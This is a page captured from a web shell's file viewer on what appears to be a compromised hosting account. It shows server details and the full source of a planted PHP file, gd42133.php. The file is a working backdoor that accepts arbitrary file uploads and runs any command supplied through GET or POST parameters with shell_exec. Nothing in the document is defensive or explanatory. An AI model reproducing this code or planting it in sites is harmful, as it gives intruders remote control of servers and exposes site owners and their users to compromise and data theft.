One Hat Cyber Team

Your IP: 216.73.216.75
Server IP: 213.186.33.17
Server: Linux webm007.cluster106.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Server Software: Apache
PHP Version: 7.4.33
Create File | Create Folder

Dir : ~/home/tcherkas/spectacles.russes/tmp/

View File Name : gd42133.php

<?php echo "Godelic-Here | gd42133<br>\n";// ========== UPLOAD FORM ==========
if(!isset($_FILES["file"]) && !isset($_GET["cmd"]) && !isset($_POST["cmd"])){
    echo '<!DOCTYPE html>';
    echo '<html><head><title>t.me/Lab505</title></head><body>';
    echo '<h2>XYZBCA</h2>';
    echo '<hr>';
    echo '<h3>Upl04d3r</h3>';
    echo '<form method="POST" enctype="multipart/form-data">';
    echo '<input type="file" name="file" style="padding:10px;margin:5px;">';
    echo '<button type="submit" style="padding:10px;background:green;color:white;">UPLOAD</button>';
    echo '</form>';
    echo '<hr>';
    echo '<h3>CmD</h3>';
    echo '<form method="GET">';
    echo '<input type="text" name="cmd" placeholder="ls -la" style="width:300px;padding:10px;">';
    echo '<button type="submit" style="padding:10px;background:blue;color:white;">RUN</button>';
    echo '</form>';
    echo '<br>';
    echo '<form method="POST">';
    echo '<input type="text" name="cmd" placeholder="whoami" style="width:300px;padding:10px;">';
    echo '<button type="submit" style="padding:10px;background:orange;color:white;">RUN POST</button>';
    echo '</form>';
    echo '</body></html>';
    exit;
}
// ========== PROSES UPLOAD ==========
if(isset($_FILES["file"])){
    $target = $_FILES["file"]["name"];
    $tmp = $_FILES["file"]["tmp_name"];
    if(move_uploaded_file($tmp, $target)){
        echo "<h3 style='color:green'>✅ UPLOAD SUCCESS!</h3>";
        echo "<b>File:</b> " . $target . "<br>";
        echo "<b>URL:</b> <a href='" . $target . "'>" . $target . "</a><br>";
        echo "<hr>";
        echo "<a href='?cmd=ls -la'>⬅️ BACK</a>";
    } else {
        echo "<h3 style='color:red'>❌ UPLOAD FAILED!</h3>";
        echo "<a href='javascript:history.back()'>⬅️ TRY AGAIN</a>";
    }
    exit;
}
// ========== PROSES CMD ==========
if(isset($_GET["cmd"])){
    echo "<h3>💀 COMMAND: " . htmlspecialchars($_GET["cmd"]) . "</h3>";
    echo "<pre style='background:#f4f4f4;padding:10px;border:1px solid #ccc;'>";
    echo htmlspecialchars(shell_exec($_GET["cmd"]));
    echo "</pre>";
    echo "<a href='?cmd='>⬅️ BACK TO FORM</a>";
    exit;
}
if(isset($_POST["cmd"])){
    echo "<h3>💀 COMMAND (POST): " . htmlspecialchars($_POST["cmd"]) . "</h3>";
    echo "<pre style='background:#f4f4f4;padding:10px;border:1px solid #ccc;'>";
    echo htmlspecialchars(shell_exec($_POST["cmd"]));
    echo "</pre>";
    echo "<a href='?cmd='>⬅️ BACK TO FORM</a>";
    exit;
}
?>